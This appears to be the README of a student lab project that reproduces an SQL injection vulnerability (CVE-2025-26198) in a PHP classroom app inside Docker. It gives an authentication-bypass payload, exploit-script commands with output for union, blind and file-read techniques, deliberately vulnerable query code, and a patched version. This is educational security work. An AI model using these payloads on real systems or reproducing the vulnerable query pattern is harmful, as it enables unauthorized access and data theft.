
Riproduzione didattica dell'iniezione SQL CVE-2025-26198 in CloudClassroom-PHP-Project, che dimostra quattro tecniche di sfruttamento (boolean, union, time-based, lettura file) con confronto della versione patchata.
Progetto accademico ENSIMAG - Sicurezza 3A
Autori: Wail Yacoubi, Mohammed-Yassine Akhmari
Data: Gennaio 2026
Questo codice è intenzionalmente vulnerabile per scopi educativi.
Non distribuire mai in produzione.
Riproduzione di CVE-2025-26198: SQL Injection critica in CloudClassroom-PHP-Project v1.0.
Caratteristiche della CVE:
Riferimento ufficiale: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
Dimostrare 4 tecniche di sfruttamento SQL Injection:
pip install requests# Clonare il repository
git clone <vostro-repo>
cd CVE-2025-26198
# Avviare l'infrastruttura
docker-compose up -d
# Attendere che MySQL sia pronto (30 secondi)
sleep 30
# Verificare i container
docker-compose ps
L'applicazione è accessibile su http://localhost:8081
Andare su http://localhost:8081
Compilare il modulo:
admin' OR '1'='1'-- -anythingFare clic su Login
Risultato: Connessione admin riuscita senza password valida.
Spiegazione:
Il payload trasforma la query SQL:
-- Query normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- Query con injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
OR '1'='1' è sempre vero, e -- - commenta il resto.
python exploit_simple.py http://localhost:8081
Output atteso:
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
python exploit.py http://localhost:8081
Output atteso:
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:[email protected]
- superadmin:[email protected]
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)
Testare la versione sicura con prepared statements:
# Attivare la versione corretta
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# Ritestare l'exploit
python exploit_simple.py http://localhost:8081
Risultato atteso:
[-] Error: Connection aborted
[-] Exploitation failed
L'attacco è bloccato dalla validazione degli input e dai prepared statements.
Ripristinare la versione vulnerabile:
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
| Aspetto | Versione Vulnerabile | Versione Corretta |
|---|---|---|
| Query SQL | Concatenazione diretta | Prepared statement PDO |
| Validazione input | Nessuna | Regex alfanumerica |
| Escape output | No | htmlspecialchars() |
| SQL Injection | Sfruttabile | Bloccato |
| Log | Nessuno | error_log() |
Codice vulnerabile:
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
Codice sicuro:
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # Versione vulnerabile
│ ├── loginlinkadmin_PATCHED.php # Versione sicura
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
docker-compose logs web
docker-compose down
docker-compose up -d --build
# Verificare MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# Verificare servizio web
curl http://localhost:8081
# Verificare versione attiva
head -n 2 app/loginlinkadmin.php
Modificare docker-compose.yml:
ports:
- "8082:80"
Vedere RAPPORT.md per l'analisi dettagliata che include:
Progetto sviluppato solo a scopo educativo nell'ambito del corso di cybersecurity ENSIMAG.
Utilizzo autorizzato:
Utilizzo vietato:
Qualsiasi utilizzo al di fuori del contesto accademico è severamente vietato e illegale.
Autori
Wail Yacoubi e Mohammed-Yassine Akhmari
ENSIMAG - Promozione 2026
Corso: Sicurezza 3A